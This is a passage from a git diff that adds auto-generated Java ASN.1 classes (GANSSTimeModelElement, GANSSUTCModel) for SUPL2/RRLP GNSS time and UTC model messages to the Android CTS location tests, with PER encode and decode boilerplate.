+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTA1();
+ }
+
+ @Override public void setToNewInstance() {
+ setTA1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TA1.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tA1 : "
+ + getTA1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getTA2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTA2();
+ }
+
+ @Override public void setToNewInstance() {
+ setTA2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TA2.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tA2 : "
+ + getTA2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGnssTOID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGnssTOID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGnssTOIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTimeModelElement.gnssTOIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gnssTOID : "
+ + getGnssTOID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getWeekNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWeekNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setWeekNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTimeModelElement.weekNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "weekNumber : "
+ + getWeekNumber().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTimeModelRefTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTimeModelRefTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTimeModelRefTimeType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTimeModelRefTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTimeModelRefTimeType != null) {
+ return ImmutableList.of(TAG_ganssTimeModelRefTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTimeModelRefTimeType from encoded stream.
+ */
+ public static ganssTimeModelRefTimeType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTimeModelRefTimeType result = new ganssTimeModelRefTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTimeModelRefTimeType from encoded stream.
+ */
+ public static ganssTimeModelRefTimeType fromPerAligned(byte[] encodedBytes) {
+ ganssTimeModelRefTimeType result = new ganssTimeModelRefTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTimeModelRefTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gnssTOIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gnssTOIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gnssTOIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gnssTOIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gnssTOIDType != null) {
+ return ImmutableList.of(TAG_gnssTOIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gnssTOIDType from encoded stream.
+ */
+ public static gnssTOIDType fromPerUnaligned(byte[] encodedBytes) {
+ gnssTOIDType result = new gnssTOIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gnssTOIDType from encoded stream.
+ */
+ public static gnssTOIDType fromPerAligned(byte[] encodedBytes) {
+ gnssTOIDType result = new gnssTOIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gnssTOIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class weekNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_weekNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public weekNumberType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_weekNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_weekNumberType != null) {
+ return ImmutableList.of(TAG_weekNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new weekNumberType from encoded stream.
+ */
+ public static weekNumberType fromPerUnaligned(byte[] encodedBytes) {
+ weekNumberType result = new weekNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new weekNumberType from encoded stream.
+ */
+ public static weekNumberType fromPerAligned(byte[] encodedBytes) {
+ weekNumberType result = new weekNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "weekNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSTimeModelElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java
new file mode 100755
index 0000000..66cb86f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java
@@ -0,0 +1,1293 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSUTCModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSUTCModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSUTCModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSUTCModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSUTCModel != null) {
+ return ImmutableList.of(TAG_GANSSUTCModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSUTCModel from encoded stream.
+ */
+ public static GANSSUTCModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSUTCModel result = new GANSSUTCModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSUTCModel from encoded stream.
+ */
+ public static GANSSUTCModel fromPerAligned(byte[] encodedBytes) {
+ GANSSUTCModel result = new GANSSUTCModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSUTCModel.ganssUtcA1Type ganssUtcA1_;
+ public GANSSUTCModel.ganssUtcA1Type getGanssUtcA1() {
+ return ganssUtcA1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcA1Type
+ */
+ public void setGanssUtcA1(Asn1Object value) {
+ this.ganssUtcA1_ = (GANSSUTCModel.ganssUtcA1Type) value;
+ }
+ public GANSSUTCModel.ganssUtcA1Type setGanssUtcA1ToNewInstance() {
+ ganssUtcA1_ = new GANSSUTCModel.ganssUtcA1Type();
+ return ganssUtcA1_;
+ }
+
+ private GANSSUTCModel.ganssUtcA0Type ganssUtcA0_;
+ public GANSSUTCModel.ganssUtcA0Type getGanssUtcA0() {
+ return ganssUtcA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcA0Type
+ */
+ public void setGanssUtcA0(Asn1Object value) {
+ this.ganssUtcA0_ = (GANSSUTCModel.ganssUtcA0Type) value;
+ }
+ public GANSSUTCModel.ganssUtcA0Type setGanssUtcA0ToNewInstance() {
+ ganssUtcA0_ = new GANSSUTCModel.ganssUtcA0Type();
+ return ganssUtcA0_;
+ }
+
+ private GANSSUTCModel.ganssUtcTotType ganssUtcTot_;
+ public GANSSUTCModel.ganssUtcTotType getGanssUtcTot() {
+ return ganssUtcTot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcTotType
+ */
+ public void setGanssUtcTot(Asn1Object value) {
+ this.ganssUtcTot_ = (GANSSUTCModel.ganssUtcTotType) value;
+ }
+ public GANSSUTCModel.ganssUtcTotType setGanssUtcTotToNewInstance() {
+ ganssUtcTot_ = new GANSSUTCModel.ganssUtcTotType();
+ return ganssUtcTot_;
+ }
+
+ private GANSSUTCModel.ganssUtcWNtType ganssUtcWNt_;
+ public GANSSUTCModel.ganssUtcWNtType getGanssUtcWNt() {
+ return ganssUtcWNt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcWNtType
+ */
+ public void setGanssUtcWNt(Asn1Object value) {
+ this.ganssUtcWNt_ = (GANSSUTCModel.ganssUtcWNtType) value;
+ }
+ public GANSSUTCModel.ganssUtcWNtType setGanssUtcWNtToNewInstance() {
+ ganssUtcWNt_ = new GANSSUTCModel.ganssUtcWNtType();
+ return ganssUtcWNt_;
+ }
+
+ private GANSSUTCModel.ganssUtcDeltaTlsType ganssUtcDeltaTls_;
+ public GANSSUTCModel.ganssUtcDeltaTlsType getGanssUtcDeltaTls() {
+ return ganssUtcDeltaTls_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcDeltaTlsType
+ */
+ public void setGanssUtcDeltaTls(Asn1Object value) {
+ this.ganssUtcDeltaTls_ = (GANSSUTCModel.ganssUtcDeltaTlsType) value;
+ }
+ public GANSSUTCModel.ganssUtcDeltaTlsType setGanssUtcDeltaTlsToNewInstance() {
+ ganssUtcDeltaTls_ = new GANSSUTCModel.ganssUtcDeltaTlsType();
+ return ganssUtcDeltaTls_;
+ }
+
+ private GANSSUTCModel.ganssUtcWNlsfType ganssUtcWNlsf_;
+ public GANSSUTCModel.ganssUtcWNlsfType getGanssUtcWNlsf() {
+ return ganssUtcWNlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcWNlsfType
+ */
+ public void setGanssUtcWNlsf(Asn1Object value) {
+ this.ganssUtcWNlsf_ = (GANSSUTCModel.ganssUtcWNlsfType) value;
+ }
+ public GANSSUTCModel.ganssUtcWNlsfType setGanssUtcWNlsfToNewInstance() {
+ ganssUtcWNlsf_ = new GANSSUTCModel.ganssUtcWNlsfType();
+ return ganssUtcWNlsf_;
+ }
+
+ private GANSSUTCModel.ganssUtcDNType ganssUtcDN_;
+ public GANSSUTCModel.ganssUtcDNType getGanssUtcDN() {
+ return ganssUtcDN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcDNType
+ */
+ public void setGanssUtcDN(Asn1Object value) {
+ this.ganssUtcDN_ = (GANSSUTCModel.ganssUtcDNType) value;
+ }
+ public GANSSUTCModel.ganssUtcDNType setGanssUtcDNToNewInstance() {
+ ganssUtcDN_ = new GANSSUTCModel.ganssUtcDNType();
+ return ganssUtcDN_;
+ }
+
+ private GANSSUTCModel.ganssUtcDeltaTlsfType ganssUtcDeltaTlsf_;
+ public GANSSUTCModel.ganssUtcDeltaTlsfType getGanssUtcDeltaTlsf() {
+ return ganssUtcDeltaTlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel.ganssUtcDeltaTlsfType
+ */
+ public void setGanssUtcDeltaTlsf(Asn1Object value) {
+ this.ganssUtcDeltaTlsf_ = (GANSSUTCModel.ganssUtcDeltaTlsfType) value;
+ }
+ public GANSSUTCModel.ganssUtcDeltaTlsfType setGanssUtcDeltaTlsfToNewInstance() {
+ ganssUtcDeltaTlsf_ = new GANSSUTCModel.ganssUtcDeltaTlsfType();
+ return ganssUtcDeltaTlsf_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcA1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcA1();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcA1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcA1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcA1 : "
+ + getGanssUtcA1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcA0 : "
+ + getGanssUtcA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcTot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcTot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcTotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcTotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcTot : "
+ + getGanssUtcTot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcWNt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcWNt();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcWNtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcWNtType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcWNt : "
+ + getGanssUtcWNt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcDeltaTls() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcDeltaTls();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcDeltaTlsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcDeltaTlsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcDeltaTls : "
+ + getGanssUtcDeltaTls().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcWNlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcWNlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcWNlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcWNlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcWNlsf : "
+ + getGanssUtcWNlsf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcDN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcDN();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcDNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcDNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcDN : "
+ + getGanssUtcDN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssUtcDeltaTlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssUtcDeltaTlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssUtcDeltaTlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSUTCModel.ganssUtcDeltaTlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssUtcDeltaTlsf : "
+ + getGanssUtcDeltaTlsf().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcA1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcA1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcA1Type() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcA1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcA1Type != null) {
+ return ImmutableList.of(TAG_ganssUtcA1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcA1Type from encoded stream.
+ */
+ public static ganssUtcA1Type fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcA1Type result = new ganssUtcA1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcA1Type from encoded stream.
+ */
+ public static ganssUtcA1Type fromPerAligned(byte[] encodedBytes) {
+ ganssUtcA1Type result = new ganssUtcA1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcA1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcA0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcA0Type != null) {
+ return ImmutableList.of(TAG_ganssUtcA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcA0Type from encoded stream.
+ */
+ public static ganssUtcA0Type fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcA0Type result = new ganssUtcA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcA0Type from encoded stream.
+ */
+ public static ganssUtcA0Type fromPerAligned(byte[] encodedBytes) {
+ ganssUtcA0Type result = new ganssUtcA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
